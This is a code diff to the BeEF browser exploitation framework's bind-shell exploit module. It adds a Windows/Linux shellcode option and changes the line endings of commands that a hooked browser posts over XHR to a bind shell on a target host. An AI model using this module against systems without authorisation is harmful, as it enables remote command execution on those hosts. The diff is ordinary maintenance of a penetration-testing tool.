diff --git a/modules/exploits/beefbind/beef_bind_shell/command.js b/modules/exploits/beefbind/beef_bind_shell/command.js index da6d040f0..afd6b8256 100755 --- a/modules/exploits/beefbind/beef_bind_shell/command.js +++ b/modules/exploits/beefbind/beef_bind_shell/command.js @@ -9,6 +9,7 @@ beef.execute(function () { var rport = '<%= @rport %>'; var path = '<%= @path %>'; var cmd = '<%= @cmd %>'; + var shellcode ='<%= @shellcode %>'; var uri = "http://" + rhost + ":" + rport + path; @@ -73,7 +74,11 @@ beef.execute(function () { }; xhr.open("POST", uri, false); xhr.setRequestHeader("Content-Type", "text/plain"); - command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?" + if (shellcode == 'Linux'){ + command = "cmd=" + command + "\n"; // very important only LF + }else{ + command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?" + } xhr.send(command); setTimeout("get_additional_cmd_results()",500); }; diff --git a/modules/exploits/beefbind/beef_bind_shell/module.rb b/modules/exploits/beefbind/beef_bind_shell/module.rb index 5eac5a4a0..dc84c3c03 100755 --- a/modules/exploits/beefbind/beef_bind_shell/module.rb +++ b/modules/exploits/beefbind/beef_bind_shell/module.rb @@ -10,7 +10,11 @@ class Beef_bind_shell < BeEF::Core::Command { 'name' => 'rhost', 'ui_label' => 'Host', 'value' => '127.0.0.1'}, { 'name' => 'rport', 'ui_label' => 'BeEF Bind Port', 'value' => '4444'}, { 'name' => 'path', 'ui_label' => 'Path', 'value' => '/'}, - { 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname'} + { 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname'}, + { 'name' => 'shellcode', 'type' => 'combobox', 'ui_label' => 'BeEF Bind Shellcode', 'store_type' => 'arraystore', + 'store_fields' => ['shellcode'], 'store_data' => [['Windows'],['Linux']], + 'valueField' => 'shellcode', 'displayField' => 'shellcode', 'mode' => 'local', 'autoWidth' => true + } ] end